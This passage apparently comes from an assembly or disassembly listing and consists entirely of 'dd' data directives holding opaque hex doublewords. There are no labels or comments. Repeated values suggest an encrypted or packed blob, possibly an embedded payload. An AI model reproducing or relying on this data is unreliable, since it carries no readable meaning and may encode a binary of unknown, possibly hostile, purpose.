839FF82Ch, 307D18FDh dd 0F4FC3CFDh, 0B0AF5DFDh, 5D04601Fh, 0F4FC3CF4h, 0B7F6541Bh dd 2 dup(0F4FC3CF8h), 5DFC3CF8h, 0F4FC3814h, 1AF58C10h dd 0E13A53FCh, 2A946C81h, 5DFF1AFEh, 6F05F6B9h, 1AFA7811h dd 0E14E53FCh, 21C76C81h, 0EC79FDE5h, 9CB6465Dh, 5BE58C08h dd 763DFC7h, 6E522B3h, 45939D30h, 86C950ECh, 113E40A7h dd 6976F950h, 0F3AA47ECh, 6F698716h, 33C7F914h, 9D9FA13Dh dd 4A826FEAh, 5AB26BD3h, 8C3A741Ah, 9B9E4444h, 8173C472h dd 0BCDFC438h, 4E29C856h, 7CE4AE06h, 0CF1C847h, 7B2F4C41h dd 4A2FB012h, 0ACFC3CFBh, 0EC438C9Ch, 3BF8D110h, 8CDA67CDh dd 13878539h, 6F210BACh, 9FA7AAFDh, 49FA8B6Dh, 6DE6729Eh dd 86619D61h, 28CB177Ch, 876C1AE2h, 93B865B5h, 0D33216A6h dd 0DFEDCE01h, 4C63BDD4h, 0AE6A78F7h, 1D1E2E49h, 0E7D97434h dd 0B602B74h, 77A9B6Bh, 7FA06B02h, 0DF0822BAh, 0DF363716h dd 0A5386CF0h, 0BAE36DCBh, 0FA3411B5h, 0F1173CF8h, 0BC492CB4h dd 6C86766Dh, 2B35BCD8h, 0D7730E97h, 0B6155342h, 75226D03h dd 0B6192FBCh, 14ED176h, 9987C920h, 0C39A173Ch, 3F698716h dd 34BF29C4h, 0EB48DDD2h, 0E769871Ah, 37D30F07h, 0F307F3E3h dd 765ED35Eh, 0C5031116h, 64D68A5Dh, 0F911E5C4h, 1FBF0CA8h dd 8FBCF6F0h, 5575C51Ah, 0F4FC3A1Fh, 89D659F5h, 0C00F11A8h dd 5E410E64h, 0B3B5CB1Fh, 0E7E873F6h, 0D5655833h, 92995D44h dd 39D1983Ch, 0F905E9E9h, 6BD930A0h, 31979FF1h, 81651F6Dh dd 0DFD17C3Ch, 87AA9BC5h, 2239EC66h, 5FF047FBh, 7A79F9F2h dd 310D05B8h, 87759A6Dh, 31115EB5h, 62DA6E6Dh, 0D62247C7h dd 1629ED74h, 47078280h, 0D369869Ah, 928C882Bh, 17FC3CE6h dd 196235C4h, 5A69DA90h, 0F3BB78EAh, 82E50DBh, 0F9FF3BA2h dd 99671F99h, 1F6D3953h, 9B9EDB0Dh, 0BA395B72h, 0B15784F2h dd 0F0FCC974h, 9E967D25h, 0F8C3116Dh, 0AE7DF63Dh, 0C949DB6Dh dd 0D977E04Fh, 0F48E2974h, 5F653CF8h, 0B5A28AFCh, 0A59427C1h dd 0CD362AEDh, 7F916509h, 34448F2Bh, 79A3E68Ah, 56DDE30Ah dd 2E604BEFh, 5EE6BB5h, 0CAB009BBh, 0ABBDD538h, 0A23DBF58h dd 0A7999A02h, 28BFC857h, 0C33D1EE0h, 6BFDD521h, 0B132B587h dd 85CC5DFFh, 80466A33h, 0D12A3C8Ch, 0C5363893h, 6E6F6D6Bh dd 0A3B26057h, 0BC1D9C1Fh, 19BA8577h, 0AB989B8Bh, 6887A318h dd 90CEB015h, 51FC3CF9h, 196235C4h, 3368DA90h, 9B9EF739h dd 95057772h, 0D5330817h, 0CD3BF861h, 6EEC8255h, 0FF0FD35Fh dd 91632A2h, 9C729906h, 0EFF6B125h, 9086BA8Eh, 0F8C30110h dd 0D62EEB4Eh, 8B6FF99h, 9B96C8D8h dd 0D0E64872h, 6D29F26Fh, 0ABD94E37h, 2769A4B9h, 0F70CCFC4h dd 0B34732A2h, 221935BDh, 0C1C8FC61h, 96AF0D73h, 0F429BE1Eh dd 0E50B3CF8h, 0A0BD30A0h, 58FA7A06h, 1729C0D4h, 0D3671283h dd 0CA21677Eh, 89D669FFh, 0CA0D13A8h, 55420D62h, 0ADBBCD1Ch dd 2F6EFB30h, 3B698709h, 33C72DC8h, 0DB7B069Fh, 2F094F56h dd 0D744FCCCh, 809D8C37h, 0C60D9C38h, 5D39E257h, 7635FEC7h dd 0C98E9E08h, 8651D5FDh, 0F0699EE3h, 0C6A39F96h, 88C7667Dh dd 1169AE4Dh, 599F47AEh, 88A08CF2h, 0F4FC3C1Bh, 193C05EAh dd 0DA98A814h, 5594D7BDh, 0E6557BEDh, 0FE21F586h, 0A29AAE3Eh dd 0E4BF2C1Bh, 64698715h, 0C072FE83h, 6DA98471h, 4EDF8FCAh dd 273391EAh, 3C1DC153h, 2ABAABC0h, 144FDBBCh, 9429AAF9h dd 5541EA73h, 0F8FE15BEh, 0E7051D9Bh, 0A01E0378h, 99A6CBB9h dd 41DE9101h, 0FB903DF9h, 0BAFC3CF8h, 21C76BF5h, 31CD19E5h dd 40D94DE9h, 41E656FEh, 5DED39C5h, 65F561CDh, 72FD69D5h dd 7A8454DCh, 7796662Eh, 0CA2C8F2Bh, 3A7D5A71h, 0F4FC3CFDh dd 0F4F85279h, 7F3CF8h, 207500DDh, 517517DDh, 0F4F98766h dd 597D3CF8h, 0F4FC3CFDh, 0C8D8107Fh, 0DCD83071h, 0F4FCF898h dd 0ADD82071h, 0B4200C55h, 4A088B7Fh, 557E8B7Ch, 2AB56A8h dd 10515366h, 657D4F28h, 6371545Fh, 10C1B12Dh, 0C4F87878h dd 0F4FC3440h, 0FD2847F8h, 6CFDD1BBh, 3BF688D2h, 0CCF5B313h dd 0CFD83787h, 0F4F87879h, 0F87B3CF8h, 5A750ADCh, 0F4F87A66h dd 3A433CF8h, 10E9C5FDh, 0E59A5325h, 0A57D6C81h, 0ACB6FA9Ah dd 0F7223142h, 540087FBh, 0FF0D520Eh, 0EA69A147h, 0C1926E93h dd 1B6F6F9Eh, 0A454BC3h, 1952C7DBh, 1A0F342Ch, 0F4FC3091h dd 9BE6D8F8h, 33C91DD0h, 0C987CE99h, 0F4EABCF7h, 4153CF8h dd 0D5FC3CF9h, 78B083B0h, 617048B6h, 95D610ADh, 0D3CFBF27h dd 3B7D7973h, 0F4FCEAC0h, 0F4FC3090h, 6CEA9EF8h, 3ECB6C6h dd 3EA389B8h, 0F4F55319h, 9A383CF8h, 7A23A579h, 0FFA8D4F3h dd 0CE9D7547h, 0F4FC3C10h, 0DE0EA4F8h, 5CA5FA18h, 0F4FC3CE8h dd 4F4B985h, 0EA009A02h, 183A8DB3h, 1FBCAEB1h, 0D68BB282h dd 0CBEA8479h, 3E9B126h, 0CCFF5E66h, 3A7D096Ah, 0EA843014h dd 9B13AE1Eh, 450F7A66h, 0AC9E27E9h, 6A7DEBF7h, 57998E3h dd 7D0FB5F4h, 759E31EDh, 75ABE8A4h, 0EA6519Eh, 0F4F35318h dd 96963CF8h, 4EC56601h, 0B0175E50h, 293E4295h, 92E415D4h dd 563EBBF4h, 75E34E27h, 0ED70F991h, 3806BBFFh, 0FF076D77h dd 0F4FC487Dh, 5D15BBF8h, 5D85F35Bh, 0F4FC3CD9h, 81DB972Eh dd 0D1089B92h, 6F43537Eh, 57076C84h, 0E0CD9C29h, 22BC99A1h dd 3A268828h, 0CE5CEE4Fh, 0ED0B5B75h, 0D58D034Ch, 0ED0486A9h dd 5 dup(0ED04874Ch), 0ED045075h, 0FD990B4Ch, 47774D5Ah dd 0E93593D6h, 23FDD1EFh, 67CB2EBDh, 929E2409h, 0D6A88725h dd 3CDB14Bh, 0ED03DB8Fh, 11849370h, 43E535F3h, 0E5590A0Eh dd 0BE1844F2h, 68DB387Ch, 7FD391CEh, 2FD7916Bh, 3E133E63h dd 76EFEE4Dh, 9EA742D7h, 197C13EFh, 3615D27h, 0F6D1593h dd 7A309EA4h, 15A52151h, 6B75323Ch, 60763F33h, 732E7B74h dd 46495C27h, 2E81947Ch, 5EB7DFBBh, 988A2EEEh, 0FD50A440h dd 9D4047E7h, 0CCEB642Ch, 13A43541h, 7BD0A8F6h, 0BED9CA89h dd 0D5D0BE43h, 11289EBEh, 33F7C71Ch, 51B5F655h, 0F0665893h dd 97167816h, 337E15Fh, 7A6E0A8Eh, 3A57A259h, 19920DDFh dd 5DDBF7B3h, 0F0665890h, 0AE7DB9A5h, 62431929h, 0ED003168h dd 7FD3C84Ch, 99A2916Bh, 0AE7C13EFh, 6CA8F318h, 0DC76FE2Fh dd 0ED04874Dh, 1432E701h, 0C524F586h, 0EE1D582Dh, 0B5CF411Ah dd 906C776h, 0CEE74BF6h, 23C705E8h, 99CADCEAh, 94E9B740h dd 0C023C8C9h, 9973F889h, 0C9CCB979h, 11A5F08Eh, 502AF767h dd 2F2C43D7h, 0C4DFBF8Ah, 35CEB845h, 495F6BC7h, 13A682C0h dd 477502F6h, 0A4016AAFh, 0F0665987h, 42D2DF4Ah, 51666ACDh dd 4E337971h, 5D199D72h, 9E72B4DFh, 78B76028h, 0FAEA890Fh dd 0BADF22E7h, 0FDC8FA5Fh, 2C16E1BAh, 0B24C6E34h, 45E5A3Eh dd 0D3CCA08Ah, 0E72C4A13h, 0DD443479h, 0B626D50Ch, 0A27C1A99h dd 7E2673A0h, 10B1E224h, 922F20FAh, 6EA2F7ADh, 0F29A08D8h dd 706874Ch, 0DAAB40A6h, 0F5E0D89Dh, 0F9257C47h, 20F241E2h dd 615F714Ah, 8B777328h, 3FC46253h, 83DCDEA4h, 22267A0Eh dd 1B4512h, 55672CEEh, 1EF8F5B5h, 4D4C21BCh, 0CDC52934h dd 12430FBEh, 86375CF6h, 0C800354Dh, 26B84409h, 688612F1h dd 99F903D5h, 0D104874Dh, 94257C47h, 92F3C4BCh, 0AC56BDBDh dd 0BFC227E5h, 0D0D3BF44h, 426677B1h, 0A15F5B63h, 0CA78492Eh dd 729CE71Fh, 2C4AD4B6h, 0F066597Fh, 8B37682h, 0F680F8A0h dd 4E2023EEh, 0DC2C4BE7h, 13A55296h, 43616EF6h, 0BBF5D9F4h dd 14DAB998h, 0EDA403D5h, 3404874Ch, 0BC2AE44h, 0FEE21DEFh dd 0F06658ADh, 999CF92Dh, 50732423h, 4484FFC5h, 858FE821h dd 0C1D2B52Fh, 35A737C0h, 0B47C1B60h, 0D6E6E887h, 3378201Eh dd 4998C2D5h, 0A0317F70h, 1ABEB88Ah, 0CFA4D6F8h, 7DCE4A8Eh dd 0F30D9065h, 595DDFA0h, 0DC4091ACh, 1586FB66h, 5A76F1CBh dd 63AF893Fh, 5EEC587h, 0ED7F2004h, 1B8061Ch, 0C9F19BF5h dd 0EC2CEFBCh, 0BA45C625h, 1B75873Ah, 594DF650h, 0FD6B67D4h dd 513FB580h, 7119A38h, 3F7D1AD1h, 57E6E5A7h, 0B60BD2ACh dd 2B91F509h, 3AB9519Fh, 93D0AC4h, 1CD3A4D9h, 71401ACFh dd 7F1144C0h, 9357335Ch, 9E09F296h, 2104874Ah, 0A66FCF6Ch dd 885D250h, 0BD7C0CEBh, 0BF60DC59h, 0F0665E27h, 49E74BEBh dd 0AED20108h, 0F068A5FAh, 0C62CE97Dh, 7EA1B5C9h, 7158D4B6h dd 44D63F60h, 73A30A37h, 49E03F6h, 47771C5Eh, 436B3F0Ah dd 0CBAE7F26h, 9C795164h, 1DC7BA27h, 1561F6AEh, 0F276F29Ah dd 0ED979A40h, 0D2DEE14Fh, 594D6911h, 268DBB9Eh, 76CF43E8h dd 5075CD5Eh, 0F2B6C9C9h, 0AE49874Ch, 0F79CACC4h, 86F80CD4h dd 73B50F32h, 4943995Ah, 0EBF67128h, 73F181A8h, 4982589Ah dd 2A367128h, 1E0D25E9h, 0B0FC13E1h, 33C6E8A6h, 695652B7h dd 8577DD2h, 60763F30h, 597F4828h, 0E4E0D947h, 6A0C3058h dd 0F104874Dh, 371C64BCh, 4C0F932h, 0C32C4BE8h, 57DDC68Fh dd 1C9C2831h, 0EDCEAAD1h, 5DD1D857h, 9B1A7A54h, 0FD48BD7Eh dd 9F3ABB6h, 0A369DCF6h, 34465BC2h, 7EAD164Fh, 0DAEBDFA5h dd 991EF68h, 0CBE0AD3Bh, 7AC7AB4h, 0B60BCBD1h, 5EDADF50h dd 6F9B1321h, 595340BDh, 3C5D63D2h, 417F0086h, 9D2C59A7h dd 31A8DB6Ah, 9C69541Bh, 0D3972DFBh, 22418E44h, 0B6C930C2h dd 3EBEC665h, 0D3357A38h, 49C37F3Ah, 309B9BCh, 3AE2E272h dd 6B7F4BEh, 437E3E97h, 8B5EC3Eh, 1B4B0A07h, 32CADE62h dd 115F5056h, 9778B9A5h, 0AE418C41h, 0FF4D5D3Dh, 47150996h dd 1B26417Fh, 43D30F85h, 3530A0Eh, 0E8802CFEh, 64A9514Ch dd 148EF447h, 57674C4Eh, 0EA532F3Ah, 0F14409ACh, 2DE989C3h dd 0CAB37297h, 9C435065h, 407A401Fh, 0FBFE037h, 130A9F25h dd 0F906EBEEh, 0F144D213h, 0A4BBE7C3h, 0DD2F0EA7h, 0C6D74BEBh dd 0ED0B73F9h, 0BDFC6A4Ch, 93F0AA47h, 0E7F4B9BAh, 0E4F9CAA1h dd 0F3D0CA66h, 0CBDFDE5Dh, 0C3E7F655h, 0DAEAED4Dh, 0D4A80484h dd 21B107F6h, 0D2794318h, 0ED08B3CDh, 0DA87874Ch, 8EF7F840h dd 8EE7FD99h, 0F2B1D7F5h, 890FFE4Ch dd 0F2FE00F5h, 8907FE4Ch, 0F2A4A8F5h, 8EFFFE4Ch, 0E3C59FC3h dd 2B1B44B9h, 0D340EC1Ah, 7A11064Ah, 0F482BB85h, 0FBB41C1Ch dd 29819B48h, 0ED048741h, 0E49559Bh, 0BFE971AEh, 59200525h dd 6DC3854Eh, 0C0AB7B72h, 20100647h, 0F44587E4h, 0BA014D13h dd 0C7AE73D5h, 6DA99AB0h, 0ED0B7A01h, 8EDFE04Ch, 0E94F05A5h dd 0D404874Ch, 0C6086C2Ch, 5685697h, 0EFE284D4h, 0CD13BA4Bh dd 45FEBADCh, 4E0A8303h, 99DC897Bh, 0E2B75E2Ch, 0A238FC80h dd 0F258666Eh, 0E6EF502Eh, 84D0F061h, 8532AE7Dh, 0F2C54999h dd 0EA097C7Fh, 4C46AFCDh, 0D839725Ah, 55CF6B2Fh, 8AA723E6h dd 0F2AA1044h, 0ED0BD175h, 0F6A5674Ch, 760F1E24h, 0ED04CFC1h dd 0D8540C4Ch, 720A5BABh, 69C38607h, 0ED0486ABh, 0E104F90Eh dd 5AC47863h, 0FC915DF2h, 88AC2907h, 687C7860h, 0EFED6083h dd 6879D607h, 0EFEF8A86h, 878BF6D3h, 7C847F72h, 0F004874Dh dd 92AD09C1h, 0FA3BE04Ch, 0EBE7C939h, 694A064Fh, 0FA04875Ah dd 0EBE78931h, 41AF84Fh, 0ED048755h, 0F87E1A7Bh, 0EFEF9451h dd 0E010F9C9h, 1D127867h, 0DC3C29D0h, 0C7867863h, 9384704Ch dd 2F04874Dh, 0EBF779CEh, 0BE984B4Fh, 0C61330C6h, 0EBE64131h dd 4B84F24Fh, 0C60B8087h, 0B084FD1Ch, 0FA0A5C5Dh, 0D5CD067Ch dd 0F2C9FA57h, 0F87F874Ch, 0EFEF9509h, 0A774F9C9h, 1D1387ADh dd 923421D0h, 2E807860h, 0ED0495C1h, 0FBFCC7CBh, 0EBF1B131h dd 41AF84Fh, 0ED048755h, 0F87E1A7Bh, 0EFEF9509h, 0E010F9C9h dd 1D127867h, 687DB3EAh, 0EFE283ECh, 83E0F9D5h, 0F07C7860h dd 0EFE289ABh, 7584F9B5h, 0F0787860h, 0EFEF9D31h, 89CC01D3h dd 0F1D87860h, 0EFEF9395h, 0F314F90Fh, 39877863h, 0F079874Dh dd 0EFEE7A29h, 0E53CF90Fh, 0ED0B7863h, 0F29A874Ch, 0ED06DE9Fh dd 0A7E4874Ch, 41794F08h, 0A9807AA1h, 0F2F37AA1h, 9FCB874Ch dd 0FFDEC08h, 7C20E5Dh, 7054EF7Ah, 5B0A5C53h, 0F2184A4Dh dd 8D04874Ch, 0F5ADB386h, 6C089AE8h, 0DF089A81h, 0A804874Ch dd 6963B39Eh, 69C357C1h, 0ED048748h, 0AB402857h, 7B900904h dd 0F2997860h, 0ED06DE9Bh, 0ABE4874Ch, 0A1791B08h, 0A9807AA1h dd 0F2F37AA1h, 0A3C7874Ch, 0C594D408h, 6DC39311h, 0ED04874Fh dd 898429D5h, 0F2997860h, 0E3780907h, 2D7E7863h, 0FAC2EA70h dd 4635D3B1h, 0A4CF6BFAh, 234C974Dh, 503FC8D9h, 9DFA8C14h dd 0B7E99A94h, 0E48DB382h, 0BEF92043h, 0F65B83E0h, 0B9DF3BB4h dd 7C3A2BDh, 0B5F6EDE7h, 29801703h, 3147E898h, 0F327B2D9h dd 9AFE1EB0h, 0E4EF275Dh, 0EBC51454h, 0E7DE1E5Ch, 4B262279h dd 8 dup(4B27B2D9h), 50E399D9h, 0BCBFB2D9h, 6219D03Bh dd 68371A35h, 0A50E5041h, 0E3259928h, 0F9BFA3D1h, 6219D03Eh dd 68372BD1h, 0A50D6841h, 0E0319928h, 0F5BFA3D1h, 6219D0C2h dd 68372BCDh, 0A5064B41h, 0E04D9928h, 11BFA3D1h, 6219D0C0h dd 68372BE9h, 0A5079E41h, 0E0599928h, 0C0BFA3D1h, 6219D039h dd 68372BA5h, 0A505B341h, 0E0759928h, 1DBFA3D1h, 6219D0C4h dd 68372B81h, 0A50B3E41h, 0E0819928h, 0FFAA3D1h, 4B3B2B2Dh dd 8B68E4F2h, 6C267ABCh, 98A23D0Bh, 690F01D7h, 38C0B94h dd 0BEC4AF60h, 8E30EFEAh, 566827B4h, 0D405D520h, 519A7E5Fh dd 31E127A8h, 0EB886287h, 0E661C9A6h, 98E54647h, 694C3029h dd 0CA9B504Ah, 4B366440h, 91A009DDh, 6A9B504Bh, 0ADF5723Eh dd 7FAE684h, 4429EB31h, 0AC03CAF4h, 2F48EB41h, 4F6D12A2h dd 279B504Bh, 0A98E3A7Ah, 287F2D65h, 62E97E9Ch, 0B3D43949h dd 6016E94Fh, 0E188B517h, 9554CCD2h, 0A568C887h, 6D4E0DF7h dd 2DBA5969h, 3402F6CCh, 0D77025DEh, 0CDEDADC9h, 0D7613118h dd 7F8AA30Fh, 0C4B04497h, 4B26FEE5h, 0DA81D9h, 56031312h dd 36D1304Fh, 45B36BF6h, 25B83571h, 3138B5B2h, 1EBD4A50h dd 1F89AABDh, 0D7613D2Fh, 6693069Bh, 0FD4617F5h, 0C7F6387Dh dd 0E2EF4EA2h, 8766CEF8h, 8F88F0B7h, 90E225A8h, 4B27B2E5h dd 6AE9E3E7h, 4D59EF12h, 3965E70Ah, 454AC3D6h, 179E366h dd 0B477A681h, 6CFFB714h, 319B504Bh, 6594AF90h, 0F5ED1A5Ch dd 6127BAFEh, 5D8350FDh, 319026E4h, 2CD11975h, 262499B2h dd 0D5260B4Fh, 0D05D056Eh, 0AD3B06DDh, 0F37B0934h, 5A5CE27Eh dd 1CAA3EC3h, 4036DF0Dh, 0BE868489h, 0BB44E808h, 82F37E72h dd 4E7F2544h, 53A5F0EAh, 1B9A648Eh, 8A59BCFAh, 8EECA495h dd 0D28D7FC6h, 6F1FB0A8h, 7A702FAEh, 331DBD02h, 143D15B0h dd 4B86C714h, 0C1A76414h, 940B6557h, 0F7E02888h, 46C02D62h dd 3E70142Eh, 0EB9EB2D9h, 2CD8D780h, 0F0D8176h, 504A2620h dd 7C71E9EFh, 0E554ADBBh, 0DFE19F3Bh, 0A568CA87h, 0FB94F38Fh dd 0C3CD345Bh, 9998217Fh, 0B59A7E62h, 0ADE2B3C7h, 8E8C6ECBh dd 38F730A2h, 0AB6AA5CEh, 0FEC0955Fh, 71FCA42Ah, 8524C282h dd 8B8A949h, 0B5538750h, 0A889416Eh, 83EB7268h, 0C0540E58h dd 0AE386EF4h, 0D77063CCh, 23BE6BF3h, 0D7605337h, 0DA9BFE93h dd 0B9A60A46h, 19EA4075h, 185E4EA3h, 0A4D84642h, 4B5FBAC5h dd 0C4BB16C8h, 4B27498Ah, 31E63AD9h, 1F5E587h, 0E3906A3Fh dd 526EFB88h, 0BE85113Ah, 60A50EB8h, 1C225741h, 389CDF0Dh dd 1EE52510h, 2AEF25BDh, 0EF2D8D77h, 0A003FBF3h, 4FF3EE62h dd 92AF42C7h, 0E5102167h, 25D70843h, 0A89D3D7Dh, 75459530h dd 0FC8D7F38h, 817596E2h, 72A1ACBAh, 9CFDCD26h, 874D155Bh dd 4B62639Ah, 33D556D9h, 868D10CFh, 3F5BE78Ah, 0C19AE60h dd 0E06EF221h, 98B568ECh, 0FCB3B3E9h, 2DF35C2Fh, 43661FA3h dd 0BC8EE7E5h, 0E9006906h, 5B854EEDh, 66EDE3C5h, 1ECA476Ah dd 31E2ADC2h, 0FDF5E587h, 42E20354h, 0A0B91E31h, 245696DCh dd 0AEC816B2h, 1CF96152h, 9A8D4644h, 0A56D989Eh, 59D23956h dd 0A8EF931Eh, 9F0BD7F5h, 0DF17B399h, 9A8B0EA4h, 8E6DD5EBh dd 3CE1458Dh, 8D9AF3C5h, 9A9A4B93h, 4B27B28Ch, 9E660B2Dh dd 0FC8FF650h, 2EE35B8Dh, 87CEB822h, 0B79A533Dh, 6CC93C91h dd 3D5344Fh, 0D7611FD3h, 0EED0B156h, 4A9A6307h, 0C4CA82C1h dd 0D7611E15h, 0E97D9822h, 0C48267EDh, 4B2614E0h, 84B058D9h dd 0B99B504Bh, 0FF6A9DA0h, 0D770FEEEh, 0C1E89020h, 9847C757h dd 11D7CA38h, 0E38DFE7Bh, 708D79AAh, 0C7A40D33h, 5F194647h dd 25FCEDEDh, 5ED773A6h, 0F31AAD00h, 3C2A1759h, 51FF1F9Ch dd 1F18E9F9h, 6A0F835Ch, 75C34425h, 0BE8BC74Dh, 0DAD774CCh dd 55615FEh, 192C0F3Eh, 3F415BBDh, 4B1E7422h, 0ED3687D9h dd 0B4E2D2BDh, 8076C320h, 0BCB1E599h, 0D770222Ah, 9847C6ECh dd 389C50C9h, 0E84DB58Bh, 9CC14EA2h, 633ADEF4h, 25F8E85Fh dd 0AC3C15E5h, 0D762D4B9h, 5FEE43AFh, 0C483A177h, 4B27C505h dd 7DB0E1D9h, 9C9B504Bh, 6832EDC8h, 0DA87E0h, 0D7A1312h dd 489A541Fh, 0C22ED537h, 2E8CCB92h, 2CCA47BDh, 2E9B84E2h dd 0F7CB79BDh, 9A9126CAh, 0CE2ACF0Fh, 0BCBA455Bh, 0DF924095h dd 474ED5B4h, 0C792B2D9h, 8EBA585Ah, 296271CEh, 7023817Bh dd 0DED6F764h, 0EFF82EB4h, 0D770547Fh, 0C9D85B83h, 5F2D65B3h dd 0D6C9E967h, 70004259h, 0CAD8D9B5h, 0E66B5924h, 9655CBD3h dd 0BC275F44h, 0DD432B59h, 5649370h, 8594D621h, 0A649FA07h dd 1819A1C7h, 35E91914h, 1789F1Ch, 0AEB189CEh, 0D2769132h dd 50C6B55h, 563B1FE4h, 54524174h, 0E130F9E3h, 6313E442h dd 5B5A941Ah, 0A5DDF760h, 0CDCD932Ch dd 777D53B9h, 4B1D4FAAh, 0FE19A2D9h, 0D2D63C22h, 0AB3723E1h dd 59F47A64h, 2DCB4E05h, 74D95CC1h, 0F8A6DFE5h, 0B9D09823h dd 8F1B3C4Eh, 8B4223A9h, 0C0DC257Bh, 0AF514EEDh, 0FD6CAB09h dd 0BE851DCFh, 9B660C53h, 0C1F1B98Dh, 3D9B504Dh, 28608784h dd 628A1F9Bh, 31BCBA30h, 1EE49C75h, 0E4F0FEBDh, 0D5BF9B86h dd 0D8CBC72h, 0B05F7FC3h, 4EF5F627h, 0FD9CF1EBh, 0D76134D4h dd 29806D2Ch, 0ED352EBDh, 65307C70h, 5551A0BBh, 0CF94F395h dd 0E1E199D9h, 0CC6717D9h, 0C55CFD79h, 3B7C23A0h, 0C701C1EFh dd 0D1377367h, 31454647h, 7737E083h, 0AA7B4FA1h, 0E127B2D9h dd 1AEB726Bh, 49DD6F6h, 0B582D46Bh, 0D771973Dh, 9A2E89FDh dd 5C6D2E8Eh, 55982125h, 6327B2D9h, 0D9FB7268h, 1EED709Ch dd 29DFB2BDh, 0A176E4Fh, 31E12273h, 86AE8C87h, 0D19E1562h dd 4B276BCCh, 2BAD3ED9h, 0D985F8E7h, 373CCF85h, 40195B8h dd 0B9D65A39h, 50CD70E4h, 149BBBC1h, 25F4A434h, 7B2F477Bh dd 8F760FADh, 0CBE9325Fh, 0A36D4EEDh, 9E660B2Dh, 0A959DC50h dd 46AE3AF8h, 85025BC6h, 0B09A5371h, 0B3DA3D9Eh, 98FFC3A7h dd 2BAFC785h, 0EDACF2BCh, 0B0D68A02h, 0F5A364F8h, 7174AE08h dd 7F66CA83h, 4847155Bh, 161E4D31h, 0FCF787CFh, 60F9F395h dd 46A77381h, 0E676EE0h, 111EA007h, 5B471F1Ah, 268408F2h dd 0B0543821h, 0AC6EA838h, 64091B56h, 5800AC23h, 0FCF6511Dh dd 5E63D195h, 0AB6D08FAh, 3C74AE36h, 1D8B3BC0h, 0A98E3A06h dd 941C921h, 835F2F18h, 0C627B2C6h, 0D9FB726Bh, 3A3FCF25h dd 20C55EE3h, 0D77020B3h, 97C617B5h, 649A7562h, 81C28232h dd 2B9B649Dh, 56CB4A38h, 0F720F9E3h, 68EB791Fh, 2E069A5Ah dd 72A2AD83h, 0C54D9A08h, 7D812BF9h, 6F7B8FAh, 0E295285Eh dd 709E2A9Bh, 0AA882290h, 4C023DD7h, 0F7D67598h, 0E5ADE185h dd 24CE0AA4h, 1307F5Ch, 0C09E4172h, 25224CF2h, 0AE34D3F5h dd 0BDDF966h, 0CDFE9E1Eh, 0AC6A4594h, 1CB8D9CBh, 0B79A53C5h dd 0DACD4199h, 0D045951h, 61B1B4C6h, 0E7300227h, 4B65FEB1h dd 0D76116FAh, 4E6E1F3Dh, 2C9A6302h, 0A89D3D7Bh, 0B8CD205Ch dd 0E4F06390h, 2EC5597h, 0EDF15BCh, 26D8554Bh, 55148C13h dd 2CE83754h, 67EE7DB2h, 4EF5E80Fh, 0E0711F26h, 0ED4D3432h dd 0BC53BA3h, 7B04D57Bh, 0BB99206h, 9E4E20C7h, 28B10BD1h dd 2C8D0691h, 0B14238E2h, 72065BABh, 0FBFC746Bh, 58FFD622h dd 6C168C36h, 4335DD38h, 0E8686F92h, 0C6ECAC3Ch, 18396854h dd 0C02CC295h, 0AEB93287h, 9D22CB2Eh, 0FAF973BEh, 0C6B8D725h dd 0A40B8E77h, 0DFF2BAAFh, 0DF9871DAh, 5D345019h, 4FCE229h dd 0F2A5C230h, 0CDDF17BBh, 35A57605h, 40F2BDDDh, 81B4B2D9h dd 0BCB1E599h, 0D770DC36h, 5DBC88E8h, 845B73E7h, 0AC0C2C9Ch dd 0A2F018EFh, 0C6A8D537h, 0BCFE438Bh, 0E1F36AA5h, 2951D1A4h dd 18841BDh, 6AE9E3CCh, 0F7AFA306h, 9D9C2D8Bh, 199B504Bh dd 0D9DF32A8h, 0D77027F1h, 2BC4490h, 2EA68CD6h, 4306F8BDh dd 0BB9E6338h, 0C4B4AB9Dh, 0A9EC6069h, 4DDE587h, 129E2F26h dd 6B8D797Fh, 0A29B72FAh, 9463BB1Bh, 0BE8A1FADh, 9A49942Ch dd 0EA0F96CBh, 0C3D225ACh, 41936648h, 25A12905h, 1634A9B2h dd 5066E07Fh, 0BE853499h, 1F24D818h, 0EE7CAE05h, 8EABDE87h dd 0AD9B5FD3h, 0F1F79DD6h, 0AE60B02Dh, 526582C1h, 0D7705050h dd 0F37B09D7h, 7A4205EBh, 8011B17Eh, 0D760675Dh, 0A93FE6F5h dd 0F62EE1EBh, 9F5A505Fh, 0C1DCA837h, 0D3D3FF7h, 0AA4DCC73h dd 0E4E225BAh, 4B27B2C5h, 9E660B73h, 91146F50h, 0D574E93h dd 40F7414Ah, 58C5B2D9h, 909B2634h, 0F3728B80h, 9E660B02h dd 0AC646F50h, 28444E93h, 0AA452908h, 0FBCC29B9h, 0D761D9CAh dd 5EEEF34Eh, 75F06879h, 0EC906A53h, 31E2C38Fh, 869C8C87h dd 0D3A81562h, 4B181382h, 620586D9h, 0B682407Fh, 0EF8B173Dh dd 3C48DD93h, 101FA351h, 9306B81Dh, 0A74223B9h, 5DBCCCFCh dd 28F78F33h, 0E75F5775h, 0CCB0F916h, 0EB354EEDh, 72C674h dd 425091E0h, 0C6B43AF0h, 0BE8A3313h, 2CC57797h, 734C0FFDh dd 1E9469C0h, 80718ABDh, 0F5854DB7h, 0CC265C58h, 0E2A74EA2h dd 2E8ECCB9h, 0CF548BDh, 0F61CA338h, 0C0417B00h, 675E53BAh dd 1E008D5Ch, 337D30D9h, 87EAA20Ch, 0BEC7E7A7h, 8D63C0D8h dd 0B7DAAAD7h, 2E97F796h, 912CBBC0h, 39EC57B4h, 119FE0C8h dd 2061A810h, 9C90C454h, 465CE29Ch, 8E7AB2D9h, 0C0B4ABADh dd 0E86475h, 0EDA6FA3Ch, 19DEBD8Ah, 0E9888257h, 820D8B17h dd 394B2EE0h, 0FB06F6Bh, 0D7E9A734h, 548555A3h, 0D19A7DAAh dd 31E2A72Bh, 86908C87h, 0B7BC1562h, 4B1847A6h, 6019AD9h dd 0DAD9540Bh, 88AFFBC9h, 61EC71ACh, 0B583466Dh, 7CE29428h dd 9E17ADh, 0C1E89018h, 97125456h, 0F35AFB81h, 0C7D41D02h dd 87494EEDh, 6AE9E301h, 0E156A712h, 6C6046DCh, 6DB3C61Ch dd 8FA9D357h, 0CF9B8C0Ch, 4625A0A9h, 0E1BFD941h, 5D8E82DCh dd 0F42A949Eh, 0E5B24584h, 24AC0F54h, 27A39E9Fh, 0A62EEED5h dd 0DC9D5054h, 0E6394F5h, 67F4A9B2h, 7826BE20h, 17C636B4h dd 9796BFE7h, 7F6CE34h, 6027B2D9h, 9CE5A35h, 